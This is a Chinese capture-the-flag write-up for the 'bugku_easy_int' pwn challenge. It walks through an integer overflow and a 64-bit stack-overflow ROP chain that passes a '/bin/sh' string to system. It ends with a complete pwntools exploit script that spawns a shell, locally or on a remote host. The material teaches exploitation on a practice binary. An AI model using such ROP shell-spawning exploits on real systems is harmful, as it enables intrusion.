PWN之system函数参数非/bin/sh的情况

admin 2022年12月21日12:35:11评论43 views字数 1575阅读5分15秒阅读模式
PWN之system函数参数非/bin/sh的情况
PWN之system函数参数非/bin/sh的情况

本文由wkeyi0x1原创



PWN之system函数参数非/bin/sh的情况

一般的栈溢出类型的题都是有system函数并且执行的命令是/bin/sh,我们只需要将溢出的字节数控制到返回地址并把返回地址替换成system函数的地址即可执行/bin/sh来获取一个shell

PWN之system函数参数非/bin/sh的情况


PWN之system函数参数非/bin/sh的情况

本文字数:1554字 

图片数量:36张

阅读时间:4分钟

准备工具:IDA Pro、Python3、ROPgadget

PWN之system函数参数非/bin/sh的情况


PWN之system函数参数非/bin/sh的情况
PWN之system函数参数非/bin/sh的情况

0x01 预备工作




首先file一下,看到是 ELF 64位程序

PWN之system函数参数非/bin/sh的情况

然后再checksec一下,可以看到没有开启保护,看着样子是没有保护

PWN之system函数参数非/bin/sh的情况


PWN之system函数参数非/bin/sh的情况
PWN之system函数参数非/bin/sh的情况

0x02 运行程序



· 默认int类型数据最大值是2147483647,如果超出这个值的话就会变成负数

PWN之system函数参数非/bin/sh的情况


运行程序后是让我们输入int类型的参数,而且题目是easy_int,可以猜想是整数溢出,同时也可以使程序内部条件成立然后执行vuln函数

main函数

PWN之system函数参数非/bin/sh的情况

vuln函数,发现最后调用了system函数

PWN之system函数参数非/bin/sh的情况

输入比最大值大的数后发现成功转跳到下一步

PWN之system函数参数非/bin/sh的情况


PWN之system函数参数非/bin/sh的情况
PWN之system函数参数非/bin/sh的情况

0x03 IDA查看_system函数地址




_system函数地址0x00401090(图中红框标记错了,应是上面那个函数)

PWN之system函数参数非/bin/sh的情况


PWN之system函数参数非/bin/sh的情况
PWN之system函数参数非/bin/sh的情况

0x04 修改system函数的参数




进入vuln函数我们可以看到system函数的参数为"ok!"执行的命令并不是/bin/sh

PWN之system函数参数非/bin/sh的情况

然后在IDA中Shift+F12打开字符串窗口可以看到有"/bin/sh"字符串,地址为0x00403500

PWN之system函数参数非/bin/sh的情况

查看溢出长度

PWN之system函数参数非/bin/sh的情况

接下来就是常规ROP,在read函数执行的时候溢出覆盖返回地址,写入system函数的参数,也就是"/bin/sh"地址


PWN之system函数参数非/bin/sh的情况
PWN之system函数参数非/bin/sh的情况

0x05 编写POC




编写payload

payload = b'a' * 0x28  # 溢出大小payload += p64(0x0040101a) # ret地址payload += p64(0x00401343) # pop rdi地址payload += p64(0x00403500) # /bin/sh字符串地址payload += p64(0x00401090) # _system函数地址

POC

from pwn import *
context(os='linux', log_level='debug')conent = 1 # 1是本地测试,2是目标机器测试
def main(): if int(conent) == 1: q = process("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int") elf = ELF("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int") else: q = remote("192.168.1.110", "55555") elf = ELF("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int") payload = b'a' * 0x28 # 溢出大小 payload += p64(0x0040101a) # ret地址 payload += p64(0x00401343) # pop rdi地址,在ubuntu18以上的版本,64位的程序若包含了system就需要考虑堆栈平衡。具体可以参考https://blog.csdn.net/qq_41560595/article/details/112161243 payload += p64(0x00403500) # /bin/sh字符串地址 payload += p64(0x00401090) # _system函数地址 q.recvuntil("") q.sendline("2147483648") q.recvuntil("") q.sendline(payload) q.recvuntil("") q.interactive()
main()

PWN之system函数参数非/bin/sh的情况


PWN之system函数参数非/bin/sh的情况

PWN之system函数参数非/bin/sh的情况

PWN之system函数参数非/bin/sh的情况

关注公众号查看

更多精彩内容

兰泽安全小分队

PWN之system函数参数非/bin/sh的情况

欢迎关注!

原文始发于微信公众号(渗透云笔记):PWN之system函数参数非/bin/sh的情况

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月21日12:35:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN之system函数参数非/bin/sh的情况https://cn-sec.com/archives/1475101.html

发表评论

匿名网友 填写信息